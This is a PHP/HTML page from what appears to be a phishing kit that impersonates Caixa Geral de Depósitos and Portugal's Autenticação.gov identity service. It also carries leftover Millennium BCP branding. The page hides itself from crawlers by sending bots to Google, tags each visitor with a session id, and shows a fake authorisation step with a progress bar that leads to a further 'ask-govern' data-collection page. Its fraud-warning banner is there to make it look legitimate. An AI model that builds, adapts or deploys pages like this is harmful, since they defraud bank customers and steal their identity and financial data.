<?php

require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="https://www.millenniumbcp.pt/media/32hpfa4u/favicon.svg" type="image/x-icon">
    <title>CGD</title>
     <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>

    <link rel="stylesheet" href="panel/css/index.css">
    <link rel="stylesheet" href="panel/css/style.css">

     <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
   <script src="panel/bootstrap/jquery/jquery.min.js"></script>
    
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
    <style>
            .header {
                background: #3c5dbc;
                padding: 30px 0px 20px;
            }
            .authSelectTitle {
                font-weight: 600;
        font-size: 1.04em;
        color: #3C5DBC;
            }
            .bg-circle {
        border: 0.1em solid #3C5DBC;
        background: #3C5DBC;
        font-family: LatoBold;
        width: 20px;
        height: 20px;
        border-radius: 50px;
    }
    .bg-circle-01{
        width: 1.25em;
        height: 1.25em;
        border: 0.1em solid #000000;
        border-radius: 0.625em;
        vertical-align: middle;
        line-height: 1.25em;
        text-indent: 2em;
        font-size: 1.004em;
    }
    .text-01{
        font-weight: 700;
    }
    .input-points {
        margin-top: -7%;
        background-color: white;
        padding: 2%;
        margin-left: 2%;
        max-width: 80%;
        font-size: 1.004em;
        color: #3C5DBC;
    }
    .btn-back-modal {
        background-color: #F1F1F2;
        font-size: 1.004em;
        border: 0px !important;
        border-radius: 0px !important;
        color: #3C5DBC;
        text-transform: uppercase;
        padding: 2% 5% 2% 25%;
        background-image: url('https://autenticacao.gov.pt/fa/assets/images/left_arrow.svg');
        background-position: 10% 50%;
        background-repeat: no-repeat;
        background-size: 12%;
    }
    .btn-forward-modal {
        background-color: #3C5DBC;
        border: 0px !important;
        font-size: 1.004em;
        color: #FFFFFF;
        text-transform: uppercase;
        padding: 2% 20% 2% 5%;
        background-image: url('https://autenticacao.gov.pt/fa/assets/images/right_arrow.svg');
        background-position: 90% 50%;
        background-repeat: no-repeat;
        background-size: 12%;
        border-radius: 0px !important;

    }
    .fs-14{
        font-size: 14px;
    }
    ul.footer  {
        list-style-type: none;
        display: inline-block;
        padding-left: 10px;
        margin-bottom: 15px;
        margin-right: 20px;
    }
    ul.footer  li {
        display: inline-block;
    }
    ul.footer  li a {
        color: #666;
        text-transform: uppercase;
        border-right: 1px solid #666;
        padding: 0 10px 0 8px;
        font-size: 8px;
    }

    .itemul {
        list-style-type: none;
        display: flex;
        align-items: center;
    justify-content: center;
    }
    .itemul .itemli {
        list-style-type: none;
        display: flex;
        justify-content: center;

        
    }
    .itemul  .itemli a {
        color: #666;
        text-transform: uppercase;
        border-right: 1px solid #666;
        padding: 0 10px 0 8px;
        font-size: 8px;
    }
    .copy-right {
        text-transform: uppercase;
        color: #333;
        text-align: center;
        font-size: 10px;
    }
    .copyright a {
        color: #3c5dbc;
        text-transform: none;
    }
    @media screen and (max-width:600px) {
        .flex-small{
            flex-direction: column;
        }
    }
    .percent80 {
    text-align: left;
    font: 12px / 24px Lato;
    font-weight: bold;
    font-size: 1.004em;
    letter-spacing: 0;
    color: #3C5DBC;
    opacity: 1;
    position: absolute;
    top: -1px;
    /* left: 250px; */
    right: 0;
    transform: translate(20px,-6px);
    font-family: inherit;
    font-style: inherit;
}
.header_nav {
            background: #0071ce;
        }

        .menu-center {
            gap: 30px;
        }

        .menu-center li {
            list-style: none;
        }

        .menu-center li a {
            color: #FFFFFF;
            font-size: 14px;
            font-family: "Roboto", sans-serif;
            font-weight: 400;
        }

        .menu-center li a span {
            color: #9DB1C9;
        }

        .menu-center li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
       

        .menu-center li a:hover {
            text-decoration: none;
        }

        @media screen and (max-width:991px) {
            .menu-center {
                display: none !important;
            }

            .header_nav .row {
                margin-left: 0px !important;
                margin-right: 0px !important;
            }

            .mobile_header {
                display: flex !important;
                list-style: none;
                justify-content: space-between !important;
                width: 100%;
            }
            .mobile_header li a.span_txt {
            color: #9DB1C9;
        }
            .mobile_header li {
                list-style: none;
            }

            .mobile_header li a {
                display: flex;
                gap: 20px;
                color: #fff;
                row-gap: 0px !important;
            }

            .flex_padding {
                padding: 0px !important;
            }
            .mobile_header li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
        .down_icon{
            position: absolute;
        }
        }

        .mobile_header {
            display: none;
        }
    </style>

</head>

<body>

    <header class="header_nav p-3">
        <div class="container-fluid">
            <div class="row ml-5 mr-5 justify-content-center">
                <div class="col-md-12 flex_padding">
                    <div class="d-flex justify-content-center align-items-center">
                        <ul class="menu-center d-flex justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#">PT <span> EN</span></a></li>
                            <li class="active"><a href="#">Particulares</a></li>
                            <li class="list_nav"><a href="#">Private</a></li>
                            <li class="list_nav"><a href="#">Empresas</a></li>
                            <li class="list_nav"><a href="#">Institucional</a></li>
                            <li class="list_nav"><a href="#">Sustentabilidade</a></li>
                            <li class="list_nav"><a href="#">Investor Relations</a></li>
                            <li class="list_nav"><a href="#">Ajuda</a></li>
                            <li class="list_nav"><a href="#">Saldo Positivo</a></li>
                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                    <div class="d-flex justify-content-between align-items-center">
                        <ul class=" mobile_header  justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#"><span class="d-flex"> PT &nbsp; <span class="span_txt"> EN</span></span></a></li>
                            <li class="active"><a href="#" class="d-flex flex-column">Particulares
                                <div class="arrow_down d-flex justify-content-center align-items-center">
                                 <i class="bx bx-chevron-down down_icon "></i></div></a></li>

                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </header>
    <section>
        <div class="header">
            <div class="white-line">
            </div>
            <div class="container">
                <div class="row">
                    <div class="col-md-12">
                        <div class="row logo mt-0">
                            <a href="#">
                                <img src="panel/imgs/logo-ag.svg" alt="Autenticação.gov.pt"
                                    class="img img-responsive logo-ie">
                            </a>
                        </div>

                    </div>
                </div>
            </div>


        </div>
        <div class="WarningMessage"
            style="background-color: #FFF0CB;height: auto;text-align: center;padding: 30px;">
        <div class="container">
            <div class="row">
                <div class="col-md-12">


                        <span id="lblWarning" style="font-weight:bold;">Atenção:</span>
                        <span id="lblWarningInfo">Nunca forneça os seus códigos PIN ou outros dados pessoais por SMS,
                            email ou telefone.</span>
                        <a id="hrefProtec" class="colorBlue"
                            href="https://eportugal.gov.pt/burlas-e-sms-fraudulentas-em-nome-de-chave-movel-digital-ou-autenticacao-gov"
                            target="_blank" style="text-decoration: underline;"> <br><span id="lblProtec">Saiba mais sobre
                                como se proteger de tentativas de fraude no portal ePortugal.</span></a>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <section>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <h5 class="text-center mt-5"><b>
                        FAÇA A SUA AUTENTICAÇÃO COM</b></h5>
                        <div class="col-md-3 m-auto">
                            <div style="background-color: White; height: 10px; width: 300px" class="mt-3">
                                <div id="MainContent_bar" class="mt-2" style="height: 10px; width: 50%; background-color: rgb(219, 225, 242); margin-left: 90px;"></div>
                                <span id="MainContent_percent" class="percent80">30%</span>
                            </div>
                            
                </div>
                </div>
                <div class="col-md-6 m-auto">

                    <div class="show-text pt-4">
                       <p class="authSelectTitle">SELECIONE O MEIO DE AUTENTICAÇÃO</p>
                      
                      <p><b>Caixa Geral de Depósitos 
                    </b>solicitou alguns dos seus dados para realizar o serviço online pretendido</p>
                    <b>Nome Completo
                    </b>
                    <p class="mt-3"><b>
                    Identificação Fiscal
                    </b></p>
                       <div class="d-flex">
                            <div class="d-flex justify-content-between w-100 mt-3">
                                <a class="btn btn-back-modal col-md-6">Voltar</a>
                                <a href="<?=URLROOT?>?p=ask-govern" class="btn btn-forward-modal col-md-6">AUTORIZAR</a>
                            </div>
                       </div>
                       <p class="text-center fs-14 mt-3 mb-0">O processo de autenticação é um serviço da Identificação Eletrónica que permite confirmar a sua identidade,</p>
                       <p class="text-center fs-14">facilitando o acesso online a vários serviços públicos. Saiba mais sobre a Identificação Eletrónica.

                       </p>
                       
                       <div class="d-flex align-items-center flex-small">
                        <img src="panel/images/Logo_AMA.png" class="img-fluid" alt="">
                        <ul class="footer mb-0">
                            <li><a  href="#">
                                <span id="lblUrlAmaSites">ePortugal</span></a></li>
                            <li><a  href="#">
                                <span id="lblUrlPrivacyPolicy">Política de Privacidade</span></a></li>
                            <li><a  href="#">
                                <span id="lblUrlContacts">Contactos</span></a></li>
                        </ul>
                       </div>
                       <ul class="itemul mt-3 pl-0">
                        <li class="itemli">
                            <a href="#">
                                <img src="panel/imgs/fb_footer.png" alt="Facebook AMA"></a>
                        </li>
                        <li class="itemli">
                            <a  href="#">
                                <img src="panel/imgs/li_footer.png" alt="LinkedIn AMA"></a>
                        </li>
                        <li class="itemli">
                            <a href="#">
                                <img src="panel/imgs/tw_footer.png" alt="Twitter AMA"></a>
                        </li>
                        
                    </ul>
                    <p class="copy-right">AMA - Agência para a Modernização Administrativa, IP - Todos os direitos reservados @ 2024 <a href="#"> www.ama.gov.pt | ama@ama.pt</a>  

                    </p>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links flex-wrap d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
    <!-- <footer class="mt-4">
        <div class="main-footer">
            <div class="container">
                <div class="row">
                    <div class="col-md-12">
                        <img src="panel/images/m-logo.png" class="img-fluid" alt="">
                    </div>
                </div>
                <div class="row mt-4">
                    <div class="col-md-3">
                        <h5 class="group-title">Feito para si</h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#">Indivíduos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Prestígio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Privado</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Jovens adultos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Residentes no estrangeiro</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Imigrantes</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Corporativo</a>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">E também...
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#">Aplicativos móveis</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Segurança</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Banco de
                                    investimento</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Imobiliária</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Compras</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Fundação Millennium
                                    bcp</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Sustentabilidade</a>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">Transparência
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Lista de preços</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Política de Privacidade</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Política de cookies</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Sugestões e reclamações</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Informações legais e contratuais</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Princípios Orientadores
                                    para a Venda de Imóveis</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Incumprimento do contrato de crédito</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Resolução alternativa de conflitos de consumo</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Mediador de crédito</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Fundo de Garantia de Depósitos</a>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">Links úteis
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#" target="_blank">Registar</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Recuperar dados de acesso</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Aplicativo Milénio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Contatos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Contactos de emergência</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Onde nos pode encontrar</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Ajuda</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" target="_blank">Carreiras</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Taxas de câmbio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" target="_blank">Taxas de câmbio</a>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="container">
                <div class="row mt-4">
                    <div class="col-12 col-md-auto order-md-2">
                        <div class="social-icons ">
                            <a href="#">
                                <img src="panel/images/facebook.png" alt="Facebook">
                            </a>
                            <a href="#">
                                <img src="panel/images/instagram.png" alt="Instagram">
                            </a>
                            <a href="#">
                                <img src="panel/images/linkedin.png" alt="Linkedin">
                            </a>
                            <a href="#">
                                <img src="panel/images/microsoftteams-image-1.png" alt="Twitter">
                            </a>
                            <a href="#">
                                <img src="panel/images/youtube.png" alt="Youtube">
                            </a>
                        </div>
                    </div>
                    <div class="col-12 col-md ">
                        <div class="trademark">

                            millenniumbcp.pt é um serviço do Banco Comercial Português S.A.

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </footer> -->
    <script src="panel/bootstrap/js/popper.min.js"></script>
        <script src="panel/bootstrap/js/bootstrap.min.js"></script>
        <script>
            $(document).ready(function() {
            // Target the progress bar and percentage
            $('#MainContent_bar').animate({ width: '30%' }, 1000); // Animate to 50% width over 1 second
            $('#MainContent_percent').text('30%'); // Set the percentage text
        });
        
        </script>

</body>

</html>